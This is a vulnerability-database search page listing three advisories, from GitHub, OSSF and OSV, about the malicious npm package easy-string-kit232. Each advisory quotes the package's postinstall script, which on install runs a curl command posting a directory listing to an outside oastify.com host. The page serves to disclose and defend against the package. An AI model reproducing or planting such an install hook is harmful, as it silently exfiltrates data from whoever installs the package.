Lucene search
+L

3 matches found

Github Security Blog
Github Security Blog
•added 2026/07/27 11:00 p.m.•6 views

Malicious code in easy-string-kit232 (npm)

Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. This shells out...

6AI score
SaveExploits0References5Affected Software1
OSSF Malicious Packages
OSSF Malicious Packages
•added 2026/06/25 10:11 a.m.•22 views

Malicious code in easy-string-kit232 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/"...

6AI score
SaveExploits0References1
osv_mal
osv_mal
•added 2026/06/25 10:11 a.m.•31 views

MAL-2026-6461 Malicious code in easy-string-kit232 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5 package.json declares a postinstall lifecycle script that auto-executes on npm install and runs curl -X POST -d "$ls -la /data/logs/"...

6AI score
SaveExploits0References1
Rows per page
Query Builder